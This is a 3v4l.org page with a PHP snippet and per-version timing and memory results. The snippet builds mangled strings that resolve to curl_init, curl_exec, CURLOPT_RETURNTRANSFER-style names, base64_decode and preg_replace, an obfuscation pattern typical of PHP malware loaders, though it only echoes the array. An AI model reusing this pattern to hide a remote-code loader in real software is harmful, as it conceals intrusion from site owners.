3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( 'implode', 'xhr', '%url', 'init', 'setopt', 'exec', ' lose', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'pr2g' . '_replace', 'pr4g' . '_split', 'absz64_dfcodp', null, 'mixed', 1, 2, 3, 5, 7, 11, 13, 17, 19, 23 ); $vars[1][0] = $vars[2][0] = $vars[6][0] = 'c'; $vars[15][0] = $vars[15][1]; $vars[15][1] = $vars[11][5]; echo unserialize(serialize($vars)); die();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01118.81
8.3.50.0120.01021.97
8.3.40.0140.00718.93
8.3.30.0140.00019.21
8.3.20.0000.00820.20
8.3.10.0070.00021.94
8.3.00.0080.00019.07
8.2.180.0080.00818.66
8.2.170.0160.00422.96
8.2.160.0110.00422.12
8.2.150.0060.00324.18
8.2.140.0000.00824.66
8.2.130.0040.00426.16
8.2.120.0080.00021.00
8.2.110.0030.00622.26
8.2.100.0090.00317.84
8.2.90.0080.00019.26
8.2.80.0040.00417.97
8.2.70.0030.00517.50
8.2.60.0000.00818.03
8.2.50.0000.01018.07
8.2.40.0030.00517.92
8.2.30.0040.00418.14
8.2.20.0000.00717.70
8.2.10.0040.00418.06
8.2.00.0000.00717.68
8.1.280.0140.00425.92
8.1.270.0050.00318.85
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0090.00021.97
8.1.230.0080.00319.16
8.1.220.0000.00917.74
8.1.210.0040.00418.77
8.1.200.0030.00617.47
8.1.190.0080.00017.23
8.1.180.0000.00819.01
8.1.170.0000.00918.40
8.1.160.0050.00318.91
8.1.150.0040.00418.94
8.1.140.0040.00417.43
8.1.130.0050.00317.84
8.1.120.0040.00417.50
8.1.110.0040.00417.34
8.1.100.0040.00417.34
8.1.90.0000.00817.39
8.1.80.0040.00617.46
8.1.70.0000.00717.43
8.1.60.0030.00517.56
8.1.50.0040.00417.42
8.1.40.0030.00617.46
8.1.30.0030.00617.54
8.1.20.0040.00417.60
8.1.10.0040.00417.48
8.1.00.0000.00817.57
8.0.300.0040.00418.77
8.0.290.0040.00417.16
8.0.280.0040.00418.35
8.0.270.0000.00717.26
8.0.260.0030.00317.16
8.0.250.0030.00317.00
8.0.240.0000.00616.88
8.0.230.0040.00416.88
8.0.220.0000.00716.84
8.0.210.0000.00716.99
8.0.200.0060.00017.03
8.0.190.0060.00317.05
8.0.180.0000.00816.91
8.0.170.0040.00416.98
8.0.160.0040.00416.91
8.0.150.0080.00016.95
8.0.140.0000.00816.80
8.0.130.0000.00513.39
8.0.120.0040.00416.91
8.0.110.0040.00416.91
8.0.100.0040.00417.06
8.0.90.0070.00016.75
8.0.80.0120.00316.95
8.0.70.0070.00016.72
8.0.60.0030.00517.05
8.0.50.0040.00416.91
8.0.30.0080.01317.04
8.0.20.0080.01117.40
8.0.10.0000.00717.10
8.0.00.0110.00816.89
7.4.330.0020.00215.03
7.4.320.0060.00016.62
7.4.300.0030.00316.60
7.4.290.0050.00316.52
7.4.280.0080.00016.60
7.4.270.0000.00816.57
7.4.260.0070.00316.62
7.4.250.0040.00416.46
7.4.240.0020.00616.56
7.4.230.0030.00316.35
7.4.220.0160.01016.46
7.4.210.0080.00816.59
7.4.200.0000.00716.48
7.4.160.0110.00416.46
7.4.150.0090.01717.40
7.4.140.0080.01217.86
7.4.130.0150.00516.47
7.4.120.0070.01116.58
7.4.110.0070.01116.48
7.4.100.0190.00416.50
7.4.90.0090.01016.49
7.4.80.0030.01419.39
7.4.70.0130.00416.52
7.4.60.0130.00316.35
7.4.50.0060.00316.49
7.4.40.0100.01016.47
7.4.30.0110.00616.67
7.4.00.0030.01014.68
7.3.330.0020.00213.09
7.3.320.0030.00313.09
7.3.310.0000.00716.23
7.3.300.0030.00316.38
7.3.290.0080.00816.36
7.3.280.0080.00816.35
7.3.270.0090.00917.40
7.3.260.0120.00816.60
7.3.250.0130.01216.60
7.3.240.0060.01216.52
7.3.230.0070.01016.39
7.3.210.0060.01016.52
7.3.200.0070.01319.39
7.3.190.0120.00916.29
7.3.180.0090.00916.45
7.3.170.0060.01316.39
7.3.160.0130.00316.58
7.2.330.0060.01316.77
7.2.320.0170.00716.78
7.2.310.0000.01716.77
7.2.300.0120.00616.58
7.2.290.0080.00816.84
7.2.00.0030.01019.49
7.1.100.0000.01118.08
7.1.70.0030.00617.28
7.1.60.0140.01019.22
7.1.50.0070.00416.89
7.1.00.0030.07722.27
7.0.200.0030.00716.84
7.0.140.0030.07322.00
7.0.60.0130.06019.98
7.0.50.0000.04717.83
7.0.40.0070.05720.24
7.0.30.0230.09020.30
7.0.20.0230.08320.09
7.0.10.0030.08720.20
7.0.00.0070.06720.09
5.6.280.0000.07721.12
5.6.210.0070.08320.47
5.6.200.0100.04718.08
5.6.190.0030.04720.61
5.6.180.0300.05020.50
5.6.170.0330.07720.40
5.6.160.0100.08720.51
5.6.150.0000.04318.21
5.6.140.0100.07718.16
5.6.130.0100.03718.07
5.6.120.0030.04020.89
5.6.110.0130.07721.00
5.6.100.0170.05321.02
5.6.90.0100.08320.99
5.6.80.0200.05720.38
5.5.350.0230.07720.40
5.5.340.0070.03317.98
5.5.330.0070.08020.27
5.5.320.0400.07720.30
5.5.310.0300.08020.20
5.5.300.0000.04318.03
5.5.290.0070.07017.89
5.5.280.0030.05720.78
5.5.270.0070.08320.68
5.5.260.0030.06020.86
5.5.250.0030.08320.61
5.5.240.0070.07020.06
5.4.450.3770.04319.54
5.4.440.3700.04019.41
5.4.430.3970.04319.57
5.4.420.3700.04019.20
5.4.410.4000.03319.07
5.4.400.3730.04019.16
5.4.390.3970.03719.08
5.4.380.3930.04018.89
5.4.370.3670.03719.08
5.4.360.3730.04019.08
5.4.350.3900.03718.88
5.4.340.3070.03719.13
5.4.320.3370.03319.16
5.4.310.3400.04719.09
5.4.300.3430.04319.06
5.4.290.3500.03318.79
5.4.280.2930.03718.90
5.4.270.4200.04319.08
5.4.260.3900.03719.21
5.4.250.3600.03719.13
5.4.240.3970.03319.05
5.4.230.3630.03719.15
5.4.220.3830.03319.21
5.4.210.3830.02719.05
5.4.200.3900.03318.78
5.4.190.4100.02719.12
5.4.180.3700.03018.87
5.4.170.3730.03719.07
5.4.160.3100.03319.11
5.4.150.3700.03318.90
5.4.140.3900.02316.23
5.4.130.3900.03716.27
5.4.120.4200.04716.27
5.4.110.3600.04316.42
5.4.100.3930.03716.43
5.4.90.3630.04016.32
5.4.80.3570.04016.37
5.4.70.3670.04016.19
5.4.60.3770.04716.45
5.4.50.3630.03316.37
5.4.40.3730.03316.20
5.4.30.3930.03716.04
5.4.20.3670.03316.36
5.4.10.3600.04016.18
5.4.00.4100.03015.79
5.3.290.3330.04014.55
5.3.280.3600.04014.46
5.3.270.3800.04714.56
5.3.260.3570.04014.66
5.3.250.3900.02714.71
5.3.240.3700.04014.46
5.3.230.4670.04014.52
5.3.220.3730.04014.52
5.3.210.3630.03014.61
5.3.200.3530.03714.63
5.3.190.3970.03314.53
5.3.180.3730.04014.50
5.3.170.3900.03314.42
5.3.160.3770.04014.66
5.3.150.3600.04014.53
5.3.140.3930.03314.52
5.3.130.3800.04014.40
5.3.120.3700.04014.42
5.3.110.4030.04714.39
5.3.100.3830.04314.10
5.3.90.4100.03314.06
5.3.80.4000.03313.83
5.3.70.3730.03013.81
5.3.60.3600.04013.93
5.3.50.3870.04013.82
5.3.40.3570.04013.87
5.3.30.3670.04013.80
5.3.20.3830.03713.59
5.3.10.3870.03313.54
5.3.00.4330.04313.70
5.2.170.3030.03011.10
5.2.160.3130.03311.00
5.2.150.3130.02711.23
5.2.140.3270.03011.00
5.2.130.3130.02710.98
5.2.120.3270.03011.14
5.2.110.2900.02711.06
5.2.100.2930.03311.05
5.2.90.2900.03311.03
5.2.80.3600.03711.05
5.2.70.3300.03010.99
5.2.60.3030.03310.95
5.2.50.3030.02710.87
5.2.40.2600.02711.10
5.2.30.2630.02310.84
5.2.20.2500.03010.98
5.2.10.2400.02710.87
5.2.00.2470.02310.63
5.1.60.2430.02710.02
5.1.50.2500.0309.98
5.1.40.2630.0309.90
5.1.30.2670.02710.24
5.1.20.2400.02310.34
5.1.10.2400.02310.13
5.1.00.2670.02310.18
5.0.50.1230.0209.71
5.0.40.1130.0239.71
5.0.30.1530.0339.71
5.0.20.1470.0209.71
5.0.10.1200.0209.71
5.0.00.1230.0279.71
4.4.90.1330.0109.71
4.4.80.1500.0179.71
4.4.70.1170.0179.71
4.4.60.1270.0179.71
4.4.50.1500.0179.71
4.4.40.1400.0339.71
4.4.30.1200.0179.71
4.4.20.1430.0179.71
4.4.10.1170.0179.71
4.4.00.1370.0339.71
4.3.110.1530.0139.71
4.3.100.1200.0179.71
4.3.90.1430.0179.71
4.3.80.1270.0209.71
4.3.70.1170.0179.71
4.3.60.1500.0139.71
4.3.50.1470.0139.71
4.3.40.1470.0239.71
4.3.30.0600.0179.71
4.3.20.0630.0139.71
4.3.10.0670.0179.71
4.3.00.0630.0209.71

preferences:
46.89 ms | 401 KiB | 5 Q